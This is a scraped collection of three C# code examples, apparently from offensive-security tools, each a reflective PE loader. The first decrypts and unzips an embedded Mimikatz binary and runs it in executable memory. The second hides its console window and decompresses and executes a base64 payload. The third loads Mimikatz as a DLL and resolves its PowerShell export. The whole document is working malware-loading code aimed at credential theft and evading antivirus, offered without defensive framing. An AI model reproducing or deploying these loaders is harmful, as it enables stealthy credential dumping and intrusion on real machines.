Exemplo n.º 1
0
    public override bool Execute()
    {
        byte[] unpacked = null;
        try
        {
            byte[] latestMimikatz = Misc.Decrypt(Convert.FromBase64String(this.MyProperty), "password"); //Yes, this is a bad idea.
            //Use Misc Class to encrypt your own files

            Stream     data = new MemoryStream(latestMimikatz); //The original data
            Stream     unzippedEntryStream;                     //Unzipped data from a file in the archive
            ZipArchive archive = new ZipArchive(data);

            foreach (ZipArchiveEntry entry in archive.Entries)
            {
                if (IntPtr.Size == 8 && entry.FullName == @"x64/mimikatz.exe")     //x64 Unpack And Execute
                {
                    //x64 Unpack And Execute
                    Console.WriteLine(entry.FullName);
                    unzippedEntryStream = entry.Open();     // .Open will return a stream
                    unpacked            = Misc.ReadFully(unzippedEntryStream);
                }
                else if (IntPtr.Size == 4 && entry.FullName == @"Win32/mimikatz.exe")
                {
                    //x86 Unpack And Execute
                    Console.WriteLine(entry.FullName);
                    unzippedEntryStream = entry.Open();     // .Open will return a stream
                    unpacked            = Misc.ReadFully(unzippedEntryStream);
                }
            }
        }
        catch (Exception ex)
        {
            while (ex != null)
            {
                Console.WriteLine(ex.Message);
                ex = ex.InnerException;
            }
        }

        Console.WriteLine("Downloaded Latest");
        PELoader pe = new PELoader(unpacked);



        IntPtr codebase = IntPtr.Zero;

        if (pe.Is32BitHeader)
        {
            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4"));
            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
        }
        else
        {
            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
        }



        //Copy Sections
        for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
        {
            IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
            Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
            Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
        }

        //Perform Base Relocation
        //Calculate Delta
        IntPtr currentbase = codebase;
        long   delta;

        if (pe.Is32BitHeader)
        {
            delta = (int)(currentbase.ToInt32() - (int)pe.OptionalHeader32.ImageBase);
        }
        else
        {
            delta = (long)(currentbase.ToInt64() - (long)pe.OptionalHeader64.ImageBase);
        }

        Console.WriteLine("Delta = {0}", delta.ToString("X4"));

        //Modify Memory Based On Relocation Table
        IntPtr relocationTable;

        if (pe.Is32BitHeader)
        {
            relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress));
        }
        else
        {
            relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
        }


        NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
        relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

        int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
        IntPtr nextEntry       = relocationTable;
        int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
        IntPtr offset          = relocationTable;

        while (true)
        {
            NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
            relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

            IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);

            for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
            {
                IntPtr patchAddr;
                UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                UInt16 type  = (UInt16)(value >> 12);
                UInt16 fixup = (UInt16)(value & 0xfff);

                switch (type)
                {
                case 0x0:
                    break;

                case 0x3:
                    patchAddr = IntPtr.Add(dest, fixup);
                    //Add Delta To Location.
                    int originalx86Addr = Marshal.ReadInt32(patchAddr);
                    Marshal.WriteInt32(patchAddr, originalx86Addr + (int)delta);
                    break;

                case 0xA:
                    patchAddr = IntPtr.Add(dest, fixup);
                    //Add Delta To Location.
                    long originalAddr = Marshal.ReadInt64(patchAddr);
                    Marshal.WriteInt64(patchAddr, originalAddr + delta);
                    break;
                }
            }

            offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
            sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
            relocationEntry  = relocationNextEntry;

            nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

            if (relocationNextEntry.SizeOfBlock == 0)
            {
                break;
            }
        }


        //Resolve Imports

        IntPtr z;
        IntPtr oa1;
        int    oa2;

        if (pe.Is32BitHeader)
        {
            z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader32.ImportTable.VirtualAddress);
            oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));
        }
        else
        {
            z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));
        }



        //Get And Display Each DLL To Load

        IntPtr threadStart;
        IntPtr hThread;

        if (pe.Is32BitHeader)
        {
            int j = 0;
            while (true)     //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader32.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2));
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                int k = 0;
                while (true)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    IntPtr funcAddy       = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt32(a2, (int)funcAddy);
                    a2 = IntPtr.Add(a2, 4);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                    k++;
                }
                j++;
            }
            //Transfer Control To OEP
            Console.WriteLine("Executing Mimikatz");
            threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader32.AddressOfEntryPoint);
            hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
        }
        else
        {
            int j = 0;
            while (true)
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                int k = 0;
                while (true)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                    k++;
                }
                j++;
            }
            //Transfer Control To OEP
            Console.WriteLine("Executing Mimikatz");
            threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
        }

        //Transfer Control To OEP

        Console.WriteLine("Thread Complete");
        //Console.ReadLine();

        return(true);
    } //End Main
Exemplo n.º 2
0
        public static void Main()
        {
            // hide window
            var windowHandle = GetConsoleWindow();

            ShowWindow(windowHandle, SW_HIDE);

            // base64 encoded payload back to bytes
            byte[] bytes = System.Convert.FromBase64String(payloadBASE64);

            // decompress / unzip payload bytes
            using (var msi = new MemoryStream(bytes)) {
                using (var mso = new MemoryStream()) {
                    using (var gs = new GZipStream(msi, CompressionMode.Decompress)) {
                        int    cnt;
                        byte[] tmpBytes = new Byte[512];
                        while ((cnt = gs.Read(tmpBytes, 0, tmpBytes.Length)) != 0)
                        {
                            mso.Write(tmpBytes, 0, cnt);
                        }
                    }
                    bytes = mso.ToArray();
                }
            }

            // PE injection
            PELoader pe = new PELoader(bytes);
            //Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
            IntPtr codebase = IntPtr.Zero;

            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
            //Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));

            // Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                //Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            // Perform Base Relocation
            // Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);

            //Console.WriteLine("Delta = {0}", delta.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));

            // Modify Memory Based On Relocation Table
            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

            //Console.WriteLine(relocationTable.ToString("X4"));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
            //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);

                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));
                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0xA:
                        patchAddr = IntPtr.Add(dest, fixup);
                        //Add Delta To Location.
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
                        break;
                    }
                }
                offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;
                nextEntry        = IntPtr.Add(nextEntry, sizeofNextBlock);
                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }


            // Resolve Imports
            IntPtr z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int    oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            // Get And Display Each DLL To Load
            for (int j = 0; j < 999; j++)   // HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }
                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                //Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                }
            }

            //Transfer Control To OEP
            //Console.WriteLine("Executing loaded PE");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            IntPtr hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            //Console.WriteLine("Thread Complete");
            //Console.ReadLine();
        }
Exemplo n.º 3
0
        public static IntPtr LoadPE(byte[] latestMimikatz)
        {
#if DEBUG
            Console.WriteLine("Loading PE (Mimikatz)");
#endif
            PELoader pe = new PELoader(latestMimikatz);

            if (pe.Is32BitHeader)
            {
#if DEBUG
                Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4"));
#endif
                codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
#if DEBUG
                Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
#endif
            }
            else
            {
#if DEBUG
                Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
#endif
                codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
#if DEBUG
                Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
#endif
            }

            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
#if DEBUG
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
#endif
            }

            //Perform Base Relocation
            //Calculate Delta
            IntPtr currentbase = codebase;
            long   delta;
            if (pe.Is32BitHeader)
            {
                delta = (int)(currentbase.ToInt32() - (int)pe.OptionalHeader32.ImageBase);
            }
            else
            {
                delta = (long)(currentbase.ToInt64() - (long)pe.OptionalHeader64.ImageBase);
            }
#if DEBUG
            Console.WriteLine("Delta = {0}", delta.ToString("X4"));
#endif

            //Modify Memory Based On Relocation Table
            IntPtr relocationTable;
            if (pe.Is32BitHeader)
            {
                relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress));
            }
            else
            {
                relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
            }

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtrAdd(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));

                IntPtr dest = IntPtrAdd(codebase, (int)relocationEntry.VirtualAdress);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);

                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0x3:
                        patchAddr = IntPtrAdd(dest, fixup);
                        //Add Delta To Location.
                        int originalx86Addr = Marshal.ReadInt32(patchAddr);
                        Marshal.WriteInt32(patchAddr, originalx86Addr + (int)delta);
                        break;

                    case 0xA:
                        patchAddr = IntPtrAdd(dest, fixup);
                        //Add Delta To Location.
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
                        break;
                    }
                }

                offset           = IntPtrAdd(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;

                nextEntry = IntPtrAdd(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }

            //Resolve Imports

            IntPtr z;
            IntPtr oa1;
            int    oa2;

            if (pe.Is32BitHeader)
            {
                z   = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
                oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader32.ImportTable.VirtualAddress);
                oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16));
            }
            else
            {
                z   = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
                oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16));
            }



            //Get And Display Each DLL To Load

            IntPtr threadStart;
            uint   imageSize;
            if (pe.Is32BitHeader)
            {
                int j = 0;
                while (true) //HardCoded Number of DLL's Do this Dynamically.
                {
                    IntPtr a1          = IntPtrAdd(codebase, (20 * j) + (int)pe.OptionalHeader32.ImportTable.VirtualAddress);
                    int    entryLength = Marshal.ReadInt32(IntPtrAdd(a1, 16));
                    IntPtr a2          = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2));
                    IntPtr dllNamePTR  = (IntPtr)(IntPtrAdd(codebase, Marshal.ReadInt32(IntPtrAdd(a1, 12))));
                    string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                    if (DllName == "")
                    {
                        break;
                    }
                    IntPtr handle;
                    try
                    {
                        handle = NativeDeclarations.LoadLibrary(DllName);
                    }
                    catch (Exception)
                    {
                        continue;
                    }
#if DEBUG
                    Console.WriteLine("Loaded {0}", DllName);
#endif
                    int k = 0;
                    while (true)
                    {
                        IntPtr dllFuncNamePTR = (IntPtrAdd(codebase, Marshal.ReadInt32(a2)));
                        string DllFuncName    = Marshal.PtrToStringAnsi(IntPtrAdd(dllFuncNamePTR, 2));
                        IntPtr funcAddy       = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                        Marshal.WriteInt32(a2, (int)funcAddy);
                        a2 = IntPtrAdd(a2, 4);
                        if (DllFuncName == "")
                        {
                            break;
                        }
                        k++;
                    }
                    j++;
                }
                //Transfer Control To OEP
                imageSize = pe.OptionalHeader32.SizeOfImage;
#if DEBUG
                Console.WriteLine("Executing Mimikatz");
#endif
                //Call dllmain
                threadStart = IntPtrAdd(codebase, (int)pe.OptionalHeader32.AddressOfEntryPoint);
                main dllmain = (main)Marshal.GetDelegateForFunctionPointer(threadStart, typeof(main));
                dllmain(codebase, 1, IntPtr.Zero);

#if DEBUG
                Console.WriteLine("Thread Complete");
#endif
            }
            else
            {
                int j = 0;
                while (true)
                {
                    IntPtr a1          = IntPtrAdd(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                    int    entryLength = Marshal.ReadInt32(IntPtrAdd(a1, 16));
                    IntPtr a2          = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                    IntPtr dllNamePTR  = (IntPtr)(IntPtrAdd(codebase, Marshal.ReadInt32(IntPtrAdd(a1, 12))));
                    string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                    if (DllName == "")
                    {
                        break;
                    }

                    IntPtr handle;
                    try
                    {
                        handle = NativeDeclarations.LoadLibrary(DllName);
                    }
                    catch (Exception)
                    {
                        continue;
                    }

#if DEBUG
                    Console.WriteLine("Loaded {0}", DllName);
#endif
                    int k = 0;
                    while (true)
                    {
                        IntPtr dllFuncNamePTR = (IntPtrAdd(codebase, Marshal.ReadInt32(a2)));
                        string DllFuncName    = Marshal.PtrToStringAnsi(IntPtrAdd(dllFuncNamePTR, 2));
                        //Console.WriteLine("Function {0}", DllFuncName);
                        IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                        Marshal.WriteInt64(a2, (long)funcAddy);
                        a2 = IntPtrAdd(a2, 8);
                        if (DllFuncName == "")
                        {
                            break;
                        }
                        k++;
                    }
                    j++;
                }
                //Transfer Control To OEP
                imageSize = pe.OptionalHeader64.SizeOfImage;
#if DEBUG
                Console.WriteLine("Executing Mimikatz");
#endif
                //Call dllmain
                threadStart = IntPtrAdd(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
                main dllmain = (main)Marshal.GetDelegateForFunctionPointer(threadStart, typeof(main));
                dllmain(codebase, 1, IntPtr.Zero);

#if DEBUG
                Console.WriteLine("Thread Complete");
#endif
            }

            IntPtr powerKatzFuncPtr = GetFuncExport(pe, "powershell_reflective_mimikatz");

            if (powerKatzFuncPtr == IntPtr.Zero)
            {
                return(powerKatzFuncPtr);
            }
            else
            {
                return(powerKatzFuncPtr);
            }
        }